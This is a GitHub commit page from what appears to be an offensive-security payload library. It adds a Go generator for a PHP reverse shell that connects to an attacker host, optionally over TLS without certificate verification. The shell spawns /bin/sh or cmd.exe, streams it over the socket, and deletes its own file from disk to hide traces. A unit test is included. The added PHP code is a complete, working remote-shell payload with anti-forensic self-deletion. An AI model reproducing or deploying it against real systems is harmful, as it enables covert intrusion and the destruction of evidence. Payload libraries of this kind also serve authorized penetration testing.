Skip to content

Commit cd5f42f

Browse files
authored
Merge pull request #296 from vulncheck-oss/payload/self-delete-php
Payload: Adds a self-delete unflattened PHP variant
2 parents 05976d7 + 53dffe7 commit cd5f42f

File tree

2 files changed

+105
-1
lines changed

2 files changed

+105
-1
lines changed

payload/reverse/php.go

Lines changed: 87 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -73,6 +73,81 @@ while(true) {
7373
}
7474
}
7575
76+
?>`
77+
PHPUnflattenedSelfDelete = `<?php
78+
class Del {
79+
function __destruct() {
80+
unlink(__FILE__);
81+
}
82+
}
83+
$d = new Del();
84+
unlink(__FILE__);
85+
86+
function dataTransfer($input, $output) {
87+
$data = fread($input, 1024);
88+
fwrite($output, $data);
89+
}
90+
91+
function windowsDataTransfer($input, $output) {
92+
$size = fstat($input)['size'];
93+
while ($size > 0) {
94+
$readAmount = $size %% 1024;
95+
$data = fread($input, $readAmount);
96+
if (fwrite($output, $data)) {
97+
$size -= $readAmount;
98+
}
99+
}
100+
}
101+
102+
$windows = false;
103+
$prog = "/bin/sh";
104+
if (strpos(strtolower(PHP_OS), "win") !== false) {
105+
$windows = true;
106+
$prog = "cmd.exe";
107+
}
108+
109+
$context = stream_context_create([
110+
'ssl' => [
111+
'verify_peer' => false,
112+
'verify_peer_name' => false
113+
]
114+
]);
115+
116+
$stream = stream_socket_client("%s", $errno, $errstr, ini_get("default_socket_timeout"), STREAM_CLIENT_CONNECT, $context);
117+
$process = proc_open($prog, array(0=>array("pipe", "r"), 1=>array("pipe", "w"), 2=>array("pipe", "w")), $pipes);
118+
stream_set_blocking($stream, 0);
119+
stream_set_blocking($pipes[0], 0);
120+
stream_set_blocking($pipes[1], 0);
121+
stream_set_blocking($pipes[2], 0);
122+
while(true) {
123+
if (feof($stream) || feof($pipes[1])) {
124+
break;
125+
}
126+
127+
$readArray = array($stream, $pipes[1], $pipes[2]);
128+
$empty = null;
129+
$selected = stream_select($readArray, $empty, $empty, null);
130+
131+
if (in_array($stream, $readArray)) {
132+
dataTransfer($stream, $pipes[0]);
133+
}
134+
if ($windows == false) {
135+
if (in_array($pipes[1], $readArray)) {
136+
dataTransfer($pipes[1], $stream);
137+
}
138+
if (in_array($pipes[2], $readArray)) {
139+
dataTransfer($pipes[2], $stream);
140+
}
141+
} else {
142+
if (fstat($pipes[1])["size"]) {
143+
windowsDataTransfer($pipes[1], $stream);
144+
}
145+
if (fstat($pipes[2])["size"]) {
146+
windowsDataTransfer($pipes[2], $stream);
147+
}
148+
}
149+
}
150+
76151
?>`
77152
)
78153

@@ -89,7 +164,7 @@ func (php *PHPPayload) LinuxInteractive(lhost string, lport int) string {
89164
// will selected cmd.exe or /bin/sh accordingly.. The user also specifies if the reverse shell
90165
// should be encrypted or not.
91166
//
92-
// reverse.PHP.Unflattened("10.9.49.80", 1270, true).
167+
// reverse.PHP.Unflattened("10.9.49.80", 1270, true).
93168
func (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bool) string {
94169
hostname := fmt.Sprintf("%s:%d", lhost, lport)
95170
if encrypted {
@@ -98,3 +173,14 @@ func (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bool) stri
98173

99174
return fmt.Sprintf(PHPUnflattened, hostname)
100175
}
176+
177+
// Creates an encrypted reverse shell using PHP, same as Unflattened, but attempts to self-delete
178+
// and sets up destructors to delete file on disk when command exits.
179+
func (php *PHPPayload) UnflattenedSelfDelete(lhost string, lport int, encrypted bool) string {
180+
hostname := fmt.Sprintf("%s:%d", lhost, lport)
181+
if encrypted {
182+
hostname = "tls://" + hostname
183+
}
184+
185+
return fmt.Sprintf(PHPUnflattenedSelfDelete, hostname)
186+
}

payload/reverse/reverse_test.go

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -137,6 +137,24 @@ func TestPHPUnflattened(t *testing.T) {
137137
}
138138
}
139139

140+
func TestPHPUnflattenedSelfDelete(t *testing.T) {
141+
payload := reverse.PHP.UnflattenedSelfDelete("127.0.0.1", 8989, true)
142+
if !strings.Contains(payload, `stream_socket_client("tls://127.0.0.1:8989",`) {
143+
t.Fatal(payload)
144+
}
145+
if !strings.Contains(payload, `__destruct`) {
146+
t.Fatal(payload)
147+
}
148+
149+
payload = reverse.PHP.UnflattenedSelfDelete("127.0.0.1", 8989, false)
150+
if !strings.Contains(payload, `stream_socket_client("127.0.0.1:8989",`) {
151+
t.Fatal(payload)
152+
}
153+
if !strings.Contains(payload, `__destruct`) {
154+
t.Fatal(payload)
155+
}
156+
}
157+
140158
func TestGroovyClassic(t *testing.T) {
141159
payload := reverse.Groovy.GroovyClassic("127.0.0.2", 9000)
142160
expected := `shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';` +

0 commit comments

Comments
 (0)